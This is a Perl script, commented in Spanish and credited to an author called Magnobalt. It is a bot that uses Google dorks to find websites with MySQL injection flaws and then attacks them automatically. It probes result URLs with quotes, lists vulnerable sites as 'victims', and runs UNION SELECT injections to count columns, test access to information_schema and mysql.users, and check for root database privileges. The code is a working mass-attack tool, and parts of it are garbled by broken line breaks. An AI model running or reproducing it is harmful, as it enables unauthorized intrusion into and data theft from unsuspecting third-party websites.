#Bot MySql Search Google v 2.0
#Coded by Magnobalt
#contact Msn: magnobalt@gmail.com
#thanks www-Insecurity.cl && www.undersecurity.net
#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
my $sis="$^O";if
($sis eq 'MSWin32') { system("cls"); } else { system("clear"); } #que sistema operativo es print "\t\t+++++++++++++++++++++++++++++++++++++\n"; print "\t\t+ Bot MySQL Search Google 2.0 +\n"; print "\t\t+ By MagnoBalt +\n"; print "\t\t+++++++++++++++++++++++++++++++++++++\n\n"; print "[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> "; $dork.=<STDIN>;
print "[?]Total de paginas de busquedas en Google: >> "; $paginas.=<STDIN> ;
print "[?]Nombre de archivo donde guardar todo: >>"; $archivo.=<STDIN>;
open (AR
,">>".$archivo) || die "No puede crear el archivo error: $!"; print "\n[+]Search:\n\n"; print AR
"++++++++++++++++++++++++++++++++++++\n"; print AR
"+ Bot MySQL Search Google V2.0 +\n"; print AR
"+ By MagnoBalt +\n"; print AR
"++++++++++++++++++++++++++++++++++++\n\n"; print AR
"Patron De Busqueda en Google: $dork y paginas utilizadas: $paginas\n"; print AR
"\n[+]Search:\n\n"; #-----------------------------------------------------------------------------------------------------
#Buscando en google vulnerabilidades
for($i = 0;$i <= $paginas*10;$i += 10)
{
$busqueda = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$i;
$ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(7);
#$ua->env_proxy;
$response = $ua->get($busqueda);
$source= $response->content;
while ($source =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
$ban=0;
my $enlace = $1;
$testing=$enlace."\'";
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($testing);
$error=$response->content;
if($error=~ /mysql_fetch_/ || $error=~ /You have an error in your SQL syntax/ || $error =~ /tem um erro de sintaxe no seu SQL/ || $error =~ /mysql_num_rows/ || $error =~ /Division by zero in/) {
#-----------------------------------------------------------------------------------------------------
# Verifico si existe la url en entre las victimas para no redundar
foreach $exist(@victims){
my($url)=$exist=~m/(http
:\
/\
/[\w+\
.]+\
/)/; my($url2)=$enlace=~m/(http
:\
/\
/[\w+\
.]+\
/)/; if ($url eq $url2){
$ban=1;
}
}#cierre foreach
if ($ban == 0){
}
#-----------------------------------------------------------------------------------------------------
}
}
}#fin del for
if (@victims){ #verifico si no esta vacio el arrays
print "\n[+]Estas son las posibles victimas:\n"; for($i=0;$i<=$#victims;$i++){
print "[$i]$victims[$i]\n"; print AR
"[$i]$victims[$i]\n"; }
}else {
print "[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo\n"; print AR
"[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo\n"; }
#-----------------------------------------------------------------------------------------------------
# Empezando la automatizacion del bot
#-----------------------------------------------------------------------------------------------------
print"\n\n[+]Empezando la automatizacion del BOT\n"; print AR
"\n\n[+]Empezando la automatizacion del BOT\n"; for($ii=0;$ii<=$#victims;$ii++){
$ban2=0;
$victima=$victims[$ii];
print "\n[+] Inyectando a: $victima\n"; $cfin ="--" ;
$cmn="+";
#$victims[$opc]=$victims[$opc]." *";# Coloco al final el Asterisco
$victima=~s/[a
-zA
-Z0
-9_\
*\
s]+$//g
;;#dejo en blanco el ultimo parametro ($) para poder inyectar, inclusive los valores * y espacion en blanco con \s misma_victima:
if ($ban2 == 1) {
$cfin ="/*" ;
$cmn="/**/";
}
#-----------------------------------------------------------------------------------------------------
#busqueda de Columnas
$column=50;
for ($col=0; $col <=$column;$col++){
$union.=','."0x6d61676e6f62616c74";
$numero.=','.$col;
if ($col ==0){
$union='';
$numero='';
}
$out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cfin;
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($out);
$verifica=$response->content;
if ($verifica =~/magnobalt/) {
$col++;
print "\n[+]La web posee $col"; print "\n[+]".$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0".$numero.$cfin."\n\n"; print AR
"[+]La web posee $col\n"; print AR
"[+]".$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0".$numero.$cfin."\n\n"; #-----------------------------------------------------------------------------------------------------
#buscando Information_schema
print AR
"[Information_Schema]\n"; $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."information_schema.tables".$cfin;#busco information schema.
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($out);
$verifica=$response->content;
if ($verifica =~/magnobalt/){
print AR
"[+]Information Schema Disponible\n\n"; }else {
print AR
"[-]Information_Schema no Disponible\n\n"; }
#-----------------------------------------------------------------------------------------------------
#buscando Mysql.users
print AR
"[Mysql.users]\n"; $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."Mysql.users".$cfin;
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($out);
$verifica=$response->content;
if ($verifica =~/magnobalt/){
print AR
"[+]Mysql.users Disponible\n\n"; }else {
print AR
"[-]Mysql.users no Disponible\n\n"; }
#-----------------------------------------------------------------------------------------------------
#verficando si esta corriendo como root
print AR
"[Usuario RooT]\n"; while($j < $col-1){
$root.=','."concat(0x6d61676e6f62616c74,user())";
$j++;
}
$out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."concat(0x6d61676e6f62616c74,user())".$root.$cfin;
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($out);
$verifica=$response->content;
if ($verifica=~/magnobaltroot@/){
print AR
"[+]El usuario es root\n\n"; }else {
print AR
"[-]El usuario no es root\n\n"; }
push(@victims_on,$victima); $col=80;#fuerzo salida del for de columnas
}
}#cierre for de columnas
if ($ban2 == 0 && $col == 51){
$ban2=1;
}
if ($cfin eq "/*" && $col == 51){
push(@victims_off,$victima); }
}#cierre for principal
#------------------------------------------------------------------------------------------------------------
#imprimimos la que tuvieron exitos y las que no
print AR
"[+]Paginas inyectadas exitosamente\n\n"; for($i=0;$i<=$#victims_on;$i++){
print AR
"[$i]$victims_on[$i]\n"; }
print AR
"\n[-]Estas paginas no se pudieron automatizar intentelas a mano :)\n\n"; for($i=0;$i<=$#victims_off;$i++){
print AR
"[$i]$victims_off[$i]\n"; }